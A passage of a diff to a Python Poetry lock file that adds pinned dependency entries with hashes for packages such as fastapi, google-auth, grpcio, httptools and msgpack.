"sha256:ccacf9cb84b64939ea15f859a146af1f662a6b1d68175754a07315e305fb1403"}, +] + +[package.dependencies] +aiohttp = ">=3.9" + [[package]] name = "aioitertools" version = "0.12.0" @@ -367,6 +382,18 @@ urllib3 = {version = ">=1.25.4,<2.2.0 || >2.2.0,<3", markers = "python_version > [package.extras] crt = ["awscrt (==0.23.8)"] +[[package]] +name = "cachetools" +version = "5.5.2" +description = "Extensible memoizing collections and decorators" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "cachetools-5.5.2-py3-none-any.whl", hash = "sha256:d26a22bcc62eb95c3beabd9f1ee5e820d3d2704fe2967cbe350e20c8ffcd3f0a"}, + {file = "cachetools-5.5.2.tar.gz", hash = "sha256:1a661caa9175d26759571b2e19580f9d6393969e5dfca11fdb1f947a23e640d4"}, +] + [[package]] name = "catalogue" version = "2.0.10" @@ -621,6 +648,21 @@ files = [ {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, ] +[[package]] +name = "colorful" +version = "0.5.7" +description = "Terminal string styling done right, in Python." +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "colorful-0.5.7-py2.py3-none-any.whl", hash = "sha256:495dd3a23151a9568cee8a90fc1174c902ad7ef06655f50b6bddf9e80008da69"}, + {file = "colorful-0.5.7.tar.gz", hash = "sha256:c5452179b56601c178b03d468a5326cc1fe37d9be81d24d0d6bdab36c4b93ad8"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + [[package]] name = "comm" version = "0.2.3" @@ -848,7 +890,7 @@ version = "0.4.0" description = "Distribution utilities" optional = false python-versions = "*" -groups = ["dev"] +groups = ["main", "dev"] files = [ {file = "distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16"}, {file = "distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d"}, @@ -929,6 +971,28 @@ files = [ [package.extras] tests = ["asttokens (>=2.1.0)", "coverage", "coverage-enable-subprocess", "ipython", "littleutils", "pytest", "rich ; python_version >= \"3.11\""] +[[package]] +name = "fastapi" +version = "0.116.1" +description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "fastapi-0.116.1-py3-none-any.whl", hash = "sha256:c46ac7c312df840f0c9e220f7964bada936781bc4e2e6eb71f1c4d7553786565"}, + {file = "fastapi-0.116.1.tar.gz", hash = "sha256:ed52cbf946abfd70c5a0dccb24673f0670deeb517a88b3544d03c2a6bf283143"}, +] + +[package.dependencies] +pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0 || >2.0.0,<2.0.1 || >2.0.1,<2.1.0 || >2.1.0,<3.0.0" +starlette = ">=0.40.0,<0.48.0" +typing-extensions = ">=4.8.0" + +[package.extras] +all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "orjson (>=3.2.1)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0)", "uvicorn[standard] (>=0.12.0)"] +standard = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0)", "jinja2 (>=3.1.5)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] +standard-no-fastapi-cloud-cli = ["email-validator (>=2.0.0)", "fastapi-cli[standard-no-fastapi-cloud-cli] (>=0.0.8)", "httpx (>=0.23.0)", "jinja2 (>=3.1.5)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] + [[package]] name = "filelock" version = "3.19.1" @@ -1117,6 +1181,61 @@ python-dateutil = ">=2.8.1" [package.extras] dev = ["flake8", "markdown", "twine", "wheel"] +[[package]] +name = "google-api-core" +version = "2.25.1" +description = "Google API client core library" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "google_api_core-2.25.1-py3-none-any.whl", hash = "sha256:8a2a56c1fef82987a524371f99f3bd0143702fecc670c72e600c1cda6bf8dbb7"}, + {file = "google_api_core-2.25.1.tar.gz", hash = "sha256:d2aaa0b13c78c61cb3f4282c464c046e45fbd75755683c9c525e6e8f7ed0a5e8"}, +] + +[package.dependencies] +google-auth = ">=2.14.1,<3.0.0" +googleapis-common-protos = ">=1.56.2,<2.0.0" +proto-plus = [ + {version = ">=1.22.3,<2.0.0"}, + {version = ">=1.25.0,<2.0.0", markers = "python_version >= \"3.13\""}, +] +protobuf = ">=3.19.5,<3.20.0 || >3.20.0,<3.20.1 || >3.20.1,<4.21.0 || >4.21.0,<4.21.1 || >4.21.1,<4.21.2 || >4.21.2,<4.21.3 || >4.21.3,<4.21.4 || >4.21.4,<4.21.5 || >4.21.5,<7.0.0" +requests = ">=2.18.0,<3.0.0" + +[package.extras] +async-rest = ["google-auth[aiohttp] (>=2.35.0,<3.0.0)"] +grpc = ["grpcio (>=1.33.2,<2.0.0)", "grpcio (>=1.49.1,<2.0.0) ; python_version >= \"3.11\"", "grpcio-status (>=1.33.2,<2.0.0)", "grpcio-status (>=1.49.1,<2.0.0) ; python_version >= \"3.11\""] +grpcgcp = ["grpcio-gcp (>=0.2.2,<1.0.0)"] +grpcio-gcp = ["grpcio-gcp (>=0.2.2,<1.0.0)"] + +[[package]] +name = "google-auth" +version = "2.40.3" +description = "Google Authentication Library" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "google_auth-2.40.3-py2.py3-none-any.whl", hash = "sha256:1370d4593e86213563547f97a92752fc658456fe4514c809544f330fed45a7ca"}, + {file = "google_auth-2.40.3.tar.gz", hash = "sha256:500c3a29adedeb36ea9cf24b8d10858e152f2412e3ca37829b3fa18e33d63b77"}, +] + +[package.dependencies] +cachetools = ">=2.0.0,<6.0" +pyasn1-modules = ">=0.2.1" +rsa = ">=3.1.4,<5" + +[package.extras] +aiohttp = ["aiohttp (>=3.6.2,<4.0.0)", "requests (>=2.20.0,<3.0.0)"] +enterprise-cert = ["cryptography", "pyopenssl"] +pyjwt = ["cryptography (<39.0.0) ; python_version < \"3.8\"", "cryptography (>=38.0.3)", "pyjwt (>=2.0)"] +pyopenssl = ["cryptography (<39.0.0) ; python_version < \"3.8\"", "cryptography (>=38.0.3)", "pyopenssl (>=20.0.0)"] +reauth = ["pyu2f (>=0.1.5)"] +requests = ["requests (>=2.20.0,<3.0.0)"] +testing = ["aiohttp (<3.10.0)", "aiohttp (>=3.6.2,<4.0.0)", "aioresponses", "cryptography (<39.0.0) ; python_version < \"3.8\"", "cryptography (>=38.0.3)", "flask", "freezegun", "grpcio", "mock", "oauth2client", "packaging", "pyjwt (>=2.0)", "pyopenssl (<24.3.0)", "pyopenssl (>=20.0.0)", "pytest", "pytest-asyncio", "pytest-cov", "pytest-localserver", "pyu2f (>=0.1.5)", "requests (>=2.20.0,<3.0.0)", "responses", "urllib3"] +urllib3 = ["packaging", "urllib3"] + [[package]] name = "googleapis-common-protos" version = "1.70.0" @@ -1150,6 +1269,70 @@ files = [ [package.dependencies] colorama = ">=0.4" +[[package]] +name = "grpcio" +version = "1.74.0" +description = "HTTP/2-based RPC framework" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "grpcio-1.74.0-cp310-cp310-linux_armv7l.whl", hash = "sha256:85bd5cdf4ed7b2d6438871adf6afff9af7096486fcf51818a81b77ef4dd30907"}, + {file = "grpcio-1.74.0-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:68c8ebcca945efff9d86d8d6d7bfb0841cf0071024417e2d7f45c5e46b5b08eb"}, + {file = "grpcio-1.74.0-cp310-cp310-manylinux_2_17_aarch64.whl", hash = "sha256:e154d230dc1bbbd78ad2fdc3039fa50ad7ffcf438e4eb2fa30bce223a70c7486"}, + {file = "grpcio-1.74.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e8978003816c7b9eabe217f88c78bc26adc8f9304bf6a594b02e5a49b2ef9c11"}, + {file = "grpcio-1.74.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c3d7bd6e3929fd2ea7fbc3f562e4987229ead70c9ae5f01501a46701e08f1ad9"}, + {file = "grpcio-1.74.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:136b53c91ac1d02c8c24201bfdeb56f8b3ac3278668cbb8e0ba49c88069e1bdc"}, + {file = "grpcio-1.74.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fe0f540750a13fd8e5da4b3eaba91a785eea8dca5ccd2bc2ffe978caa403090e"}, + {file = "grpcio-1.74.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:4e4181bfc24413d1e3a37a0b7889bea68d973d4b45dd2bc68bb766c140718f82"}, + {file = "grpcio-1.74.0-cp310-cp310-win32.whl", hash = "sha256:1733969040989f7acc3d94c22f55b4a9501a30f6aaacdbccfaba0a3ffb255ab7"}, + {file = "grpcio-1.74.0-cp310-cp310-win_amd64.whl", hash = "sha256:9e912d3c993a29df6c627459af58975b2e5c897d93287939b9d5065f000249b5"}, + {file = "grpcio-1.74.0-cp311-cp311-linux_armv7l.whl", hash = "sha256:69e1a8180868a2576f02356565f16635b99088da7df3d45aaa7e24e73a054e31"}, + {file = "grpcio-1.74.0-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:8efe72fde5500f47aca1ef59495cb59c885afe04ac89dd11d810f2de87d935d4"}, + {file = "grpcio-1.74.0-cp311-cp311-manylinux_2_17_aarch64.whl", hash = "sha256:a8f0302f9ac4e9923f98d8e243939a6fb627cd048f5cd38595c97e38020dffce"}, + {file = "grpcio-1.74.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2f609a39f62a6f6f05c7512746798282546358a37ea93c1fcbadf8b2fed162e3"}, + {file = "grpcio-1.74.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c98e0b7434a7fa4e3e63f250456eaef52499fba5ae661c58cc5b5477d11e7182"}, + {file = "grpcio-1.74.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:662456c4513e298db6d7bd9c3b8df6f75f8752f0ba01fb653e252ed4a59b5a5d"}, + {file = "grpcio-1.74.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3d14e3c4d65e19d8430a4e28ceb71ace4728776fd6c3ce34016947474479683f"}, + {file = "grpcio-1.74.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1bf949792cee20d2078323a9b02bacbbae002b9e3b9e2433f2741c15bdeba1c4"}, + {file = "grpcio-1.74.0-cp311-cp311-win32.whl", hash = "sha256:55b453812fa7c7ce2f5c88be3018fb4a490519b6ce80788d5913f3f9d7da8c7b"}, + {file = "grpcio-1.74.0-cp311-cp311-win_amd64.whl", hash = "sha256:86ad489db097141a907c559988c29718719aa3e13370d40e20506f11b4de0d11"}, + {file = "grpcio-1.74.0-cp312-cp312-linux_armv7l.whl", hash = "sha256:8533e6e9c5bd630ca98062e3a1326249e6ada07d05acf191a77bc33f8948f3d8"}, + {file = "grpcio-1.74.0-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:2918948864fec2a11721d91568effffbe0a02b23ecd57f281391d986847982f6"}, + {file = "grpcio-1.74.0-cp312-cp312-manylinux_2_17_aarch64.whl", hash = "sha256:60d2d48b0580e70d2e1954d0d19fa3c2e60dd7cbed826aca104fff518310d1c5"}, + {file = "grpcio-1.74.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3601274bc0523f6dc07666c0e01682c94472402ac2fd1226fd96e079863bfa49"}, + {file = "grpcio-1.74.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:176d60a5168d7948539def20b2a3adcce67d72454d9ae05969a2e73f3a0feee7"}, + {file = "grpcio-1.74.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:e759f9e8bc908aaae0412642afe5416c9f983a80499448fcc7fab8692ae044c3"}, + {file = "grpcio-1.74.0-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:9e7c4389771855a92934b2846bd807fc25a3dfa820fd912fe6bd8136026b2707"}, + {file = "grpcio-1.74.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:cce634b10aeab37010449124814b05a62fb5f18928ca878f1bf4750d1f0c815b"}, + {file = "grpcio-1.74.0-cp312-cp312-win32.whl", hash = "sha256:885912559974df35d92219e2dc98f51a16a48395f37b92865ad45186f294096c"}, + {file = "grpcio-1.74.0-cp312-cp312-win_amd64.whl", hash = "sha256:42f8fee287427b94be63d916c90399ed310ed10aadbf9e2e5538b3e497d269bc"}, + {file = "grpcio-1.74.0-cp313-cp313-linux_armv7l.whl", hash = "sha256:2bc2d7d8d184e2362b53905cb1708c84cb16354771c04b490485fa07ce3a1d89"}, + {file = "grpcio-1.74.0-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:c14e803037e572c177ba54a3e090d6eb12efd795d49327c5ee2b3bddb836bf01"}, + {file = "grpcio-1.74.0-cp313-cp313-manylinux_2_17_aarch64.whl", hash = "sha256:f6ec94f0e50eb8fa1744a731088b966427575e40c2944a980049798b127a687e"}, + {file = "grpcio-1.74.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:566b9395b90cc3d0d0c6404bc8572c7c18786ede549cdb540ae27b58afe0fb91"}, + {file = "grpcio-1.74.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e1ea6176d7dfd5b941ea01c2ec34de9531ba494d541fe2057c904e601879f249"}, + {file = "grpcio-1.74.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:64229c1e9cea079420527fa8ac45d80fc1e8d3f94deaa35643c381fa8d98f362"}, + {file = "grpcio-1.74.0-cp313-cp313-musllinux_1_1_i686.whl", hash = "sha256:0f87bddd6e27fc776aacf7ebfec367b6d49cad0455123951e4488ea99d9b9b8f"}, + {file = "grpcio-1.74.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:3b03d8f2a07f0fea8c8f74deb59f8352b770e3900d143b3d1475effcb08eec20"}, + {file = "grpcio-1.74.0-cp313-cp313-win32.whl", hash = "sha256:b6a73b2ba83e663b2480a90b82fdae6a7aa6427f62bf43b29912c0cfd1aa2bfa"}, + {file = "grpcio-1.74.0-cp313-cp313-win_amd64.whl", hash = "sha256:fd3c71aeee838299c5887230b8a1822795325ddfea635edd82954c1eaa831e24"}, + {file = "grpcio-1.74.0-cp39-cp39-linux_armv7l.whl", hash = "sha256:4bc5fca10aaf74779081e16c2bcc3d5ec643ffd528d9e7b1c9039000ead73bae"}, + {file = "grpcio-1.74.0-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:6bab67d15ad617aff094c382c882e0177637da73cbc5532d52c07b4ee887a87b"}, + {file = "grpcio-1.74.0-cp39-cp39-manylinux_2_17_aarch64.whl", hash = "sha256:655726919b75ab3c34cdad39da5c530ac6fa32696fb23119e36b64adcfca174a"}, + {file = "grpcio-1.74.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1a2b06afe2e50ebfd46247ac3ba60cac523f54ec7792ae9ba6073c12daf26f0a"}, + {file = "grpcio-1.74.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f251c355167b2360537cf17bea2cf0197995e551ab9da6a0a59b3da5e8704f9"}, + {file = "grpcio-1.74.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:8f7b5882fb50632ab1e48cb3122d6df55b9afabc265582808036b6e51b9fd6b7"}, + {file = "grpcio-1.74.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:834988b6c34515545b3edd13e902c1acdd9f2465d386ea5143fb558f153a7176"}, + {file = "grpcio-1.74.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:22b834cef33429ca6cc28303c9c327ba9a3fafecbf62fae17e9a7b7163cc43ac"}, + {file = "grpcio-1.74.0-cp39-cp39-win32.whl", hash = "sha256:7d95d71ff35291bab3f1c52f52f474c632db26ea12700c2ff0ea0532cb0b5854"}, + {file = "grpcio-1.74.0-cp39-cp39-win_amd64.whl", hash = "sha256:ecde9ab49f58433abe02f9ed076c7b5be839cf0153883a6d23995937a82392fa"}, + {file = "grpcio-1.74.0.tar.gz", hash = "sha256:80d1f4fbb35b0742d3e3d3bb654b7381cd5f015f8497279a1e9c21ba623e01b1"}, +] + +[package.extras] +protobuf = ["grpcio-tools (>=1.74.0)"] + [[package]] name = "h11" version = "0.16.0" @@ -1206,6 +1389,62 @@ http2 = ["h2 (>=3,<5)"] socks = ["socksio (==1.*)"] trio = ["trio (>=0.22.0,<1.0)"] +[[package]] +name = "httptools" +version = "0.6.4" +description = "A collection of framework independent HTTP protocol utils." +optional = false +python-versions = ">=3.8.0" +groups = ["main"] +files = [ + {file = "httptools-0.6.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:3c73ce323711a6ffb0d247dcd5a550b8babf0f757e86a52558fe5b86d6fefcc0"}, + {file = "httptools-0.6.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:345c288418f0944a6fe67be8e6afa9262b18c7626c3ef3c28adc5eabc06a68da"}, + {file = "httptools-0.6.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:deee0e3343f98ee8047e9f4c5bc7cedbf69f5734454a94c38ee829fb2d5fa3c1"}, + {file = "httptools-0.6.4-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ca80b7485c76f768a3bc83ea58373f8db7b015551117375e4918e2aa77ea9b50"}, + {file = "httptools-0.6.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:90d96a385fa941283ebd231464045187a31ad932ebfa541be8edf5b3c2328959"}, + {file = "httptools-0.6.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:59e724f8b332319e2875efd360e61ac07f33b492889284a3e05e6d13746876f4"}, + {file = "httptools-0.6.4-cp310-cp310-win_amd64.whl", hash = "sha256:c26f313951f6e26147833fc923f78f95604bbec812a43e5ee37f26dc9e5a686c"}, + {file = "httptools-0.6.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:f47f8ed67cc0ff862b84a1189831d1d33c963fb3ce1ee0c65d3b0cbe7b711069"}, + {file = "httptools-0.6.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0614154d5454c21b6410fdf5262b4a3ddb0f53f1e1721cfd59d55f32138c578a"}, + {file = "httptools-0.6.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f8787367fbdfccae38e35abf7641dafc5310310a5987b689f4c32cc8cc3ee975"}, + {file = "httptools-0.6.4-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:40b0f7fe4fd38e6a507bdb751db0379df1e99120c65fbdc8ee6c1d044897a636"}, + {file = "httptools-0.6.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:40a5ec98d3f49904b9fe36827dcf1aadfef3b89e2bd05b0e35e94f97c2b14721"}, + {file = "httptools-0.6.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:dacdd3d10ea1b4ca9df97a0a303cbacafc04b5cd375fa98732678151643d4988"}, + {file = "httptools-0.6.4-cp311-cp311-win_amd64.whl", hash = "sha256:288cd628406cc53f9a541cfaf06041b4c71d751856bab45e3702191f931ccd17"}, + {file = "httptools-0.6.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:df017d6c780287d5c80601dafa31f17bddb170232d85c066604d8558683711a2"}, + {file = "httptools-0.6.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:85071a1e8c2d051b507161f6c3e26155b5c790e4e28d7f236422dbacc2a9cc44"}, + {file = "httptools-0.6.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:69422b7f458c5af875922cdb5bd586cc1f1033295aa9ff63ee196a87519ac8e1"}, + {file = "httptools-0.6.4-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16e603a3bff50db08cd578d54f07032ca1631450ceb972c2f834c2b860c28ea2"}, + {file = "httptools-0.6.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ec4f178901fa1834d4a060320d2f3abc5c9e39766953d038f1458cb885f47e81"}, + {file = "httptools-0.6.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:f9eb89ecf8b290f2e293325c646a211ff1c2493222798bb80a530c5e7502494f"}, + {file = "httptools-0.6.4-cp312-cp312-win_amd64.whl", hash = "sha256:db78cb9ca56b59b016e64b6031eda5653be0589dba2b1b43453f6e8b405a0970"}, + {file = "httptools-0.6.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ade273d7e767d5fae13fa637f4d53b6e961fb7fd93c7797562663f0171c26660"}, + {file = "httptools-0.6.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:856f4bc0478ae143bad54a4242fccb1f3f86a6e1be5548fecfd4102061b3a083"}, + {file = "httptools-0.6.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:322d20ea9cdd1fa98bd6a74b77e2ec5b818abdc3d36695ab402a0de8ef2865a3"}, + {file = "httptools-0.6.4-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d87b29bd4486c0093fc64dea80231f7c7f7eb4dc70ae394d70a495ab8436071"}, + {file = "httptools-0.6.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:342dd6946aa6bda4b8f18c734576106b8a31f2fe31492881a9a160ec84ff4bd5"}, + {file = "httptools-0.6.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4b36913ba52008249223042dca46e69967985fb4051951f94357ea681e1f5dc0"}, + {file = "httptools-0.6.4-cp313-cp313-win_amd64.whl", hash = "sha256:28908df1b9bb8187393d5b5db91435ccc9c8e891657f9cbb42a2541b44c82fc8"}, + {file = "httptools-0.6.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:d3f0d369e7ffbe59c4b6116a44d6a8eb4783aae027f2c0b366cf0aa964185dba"}, + {file = "httptools-0.6.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:94978a49b8f4569ad607cd4946b759d90b285e39c0d4640c6b36ca7a3ddf2efc"}, + {file = "httptools-0.6.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40dc6a8e399e15ea525305a2ddba998b0af5caa2566bcd79dcbe8948181eeaff"}, + {file = "httptools-0.6.4-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab9ba8dcf59de5181f6be44a77458e45a578fc99c31510b8c65b7d5acc3cf490"}, + {file = "httptools-0.6.4-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:fc411e1c0a7dcd2f902c7c48cf079947a7e65b5485dea9decb82b9105ca71a43"}, + {file = "httptools-0.6.4-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:d54efd20338ac52ba31e7da78e4a72570cf729fac82bc31ff9199bedf1dc7440"}, + {file = "httptools-0.6.4-cp38-cp38-win_amd64.whl", hash = "sha256:df959752a0c2748a65ab5387d08287abf6779ae9165916fe053e68ae1fbdc47f"}, + {file = "httptools-0.6.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:85797e37e8eeaa5439d33e556662cc370e474445d5fab24dcadc65a8ffb04003"}, + {file = "httptools-0.6.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:db353d22843cf1028f43c3651581e4bb49374d85692a85f95f7b9a130e1b2cab"}, + {file = "httptools-0.6.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1ffd262a73d7c28424252381a5b854c19d9de5f56f075445d33919a637e3547"}, + {file = "httptools-0.6.4-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:703c346571fa50d2e9856a37d7cd9435a25e7fd15e236c397bf224afaa355fe9"}, + {file = "httptools-0.6.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:aafe0f1918ed07b67c1e838f950b1c1fabc683030477e60b335649b8020e1076"}, + {file = "httptools-0.6.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:0e563e54979e97b6d13f1bbc05a96109923e76b901f786a5eae36e99c01237bd"}, + {file = "httptools-0.6.4-cp39-cp39-win_amd64.whl", hash = "sha256:b799de31416ecc589ad79dd85a0b2657a8fe39327944998dea368c1d4c9e55e6"}, + {file = "httptools-0.6.4.tar.gz", hash = "sha256:4e93eee4add6493b59a5c514da98c939b244fce4a0d8879cd3f466562f4b7d5c"}, +] + +[package.extras] +test = ["Cython (>=0.29.24)"] + [[package]] name = "httpx" version = "0.28.1" @@ -2316,6 +2555,75 @@ doc = ["Sphinx (==6.*)", "numpydoc (<2.0)", "pydata-sphinx-theme (==0.13)", "sph lint = ["black (>=23.7.0)", "flake8 (>=6.0.0)", "flake8-absolute-import (>=1.0)", "flake8-docstrings (>=1.7.0)", "flake8-implicit-str-concat (==0.4.0)", "flake8-rst-docstrings (>=0.3)", "isort (>=5.12)", "pre-commit (>=3.3)"] test = ["coveralls (>=3.0,<4.0)", "pytest (>=3.0.0,<7.0.0)", "pytest-cov (>=2.5.1,<3.0)"] +[[package]] +name = "msgpack" +version = "1.1.1" +description = "MessagePack serializer" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "msgpack-1.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:353b6fc0c36fde68b661a12949d7d49f8f51ff5fa019c1e47c87c4ff34b080ed"}, + {file = "msgpack-1.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:79c408fcf76a958491b4e3b103d1c417044544b68e96d06432a189b43d1215c8"}, + {file = "msgpack-1.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78426096939c2c7482bf31ef15ca219a9e24460289c00dd0b94411040bb73ad2"}, + {file = "msgpack-1.1.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b17ba27727a36cb73aabacaa44b13090feb88a01d012c0f4be70c00f75048b4"}, + {file = "msgpack-1.1.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7a17ac1ea6ec3c7687d70201cfda3b1e8061466f28f686c24f627cae4ea8efd0"}, + {file = "msgpack-1.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:88d1e966c9235c1d4e2afac21ca83933ba59537e2e2727a999bf3f515ca2af26"}, + {file = "msgpack-1.1.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f6d58656842e1b2ddbe07f43f56b10a60f2ba5826164910968f5933e5178af75"}, + {file = "msgpack-1.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:96decdfc4adcbc087f5ea7ebdcfd3dee9a13358cae6e81d54be962efc38f6338"}, + {file = "msgpack-1.1.1-cp310-cp310-win32.whl", hash = "sha256:6640fd979ca9a212e4bcdf6eb74051ade2c690b862b679bfcb60ae46e6dc4bfd"}, + {file = "msgpack-1.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:8b65b53204fe1bd037c40c4148d00ef918eb2108d24c9aaa20bc31f9810ce0a8"}, + {file = "msgpack-1.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:71ef05c1726884e44f8b1d1773604ab5d4d17729d8491403a705e649116c9558"}, + {file = "msgpack-1.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:36043272c6aede309d29d56851f8841ba907a1a3d04435e43e8a19928e243c1d"}, + {file = "msgpack-1.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a32747b1b39c3ac27d0670122b57e6e57f28eefb725e0b625618d1b59bf9d1e0"}, + {file = "msgpack-1.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a8b10fdb84a43e50d38057b06901ec9da52baac6983d3f709d8507f3889d43f"}, + {file = "msgpack-1.1.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ba0c325c3f485dc54ec298d8b024e134acf07c10d494ffa24373bea729acf704"}, + {file = "msgpack-1.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:88daaf7d146e48ec71212ce21109b66e06a98e5e44dca47d853cbfe171d6c8d2"}, + {file = "msgpack-1.1.1-cp311-cp311-musllinux_1_2_i686.whl", hash = 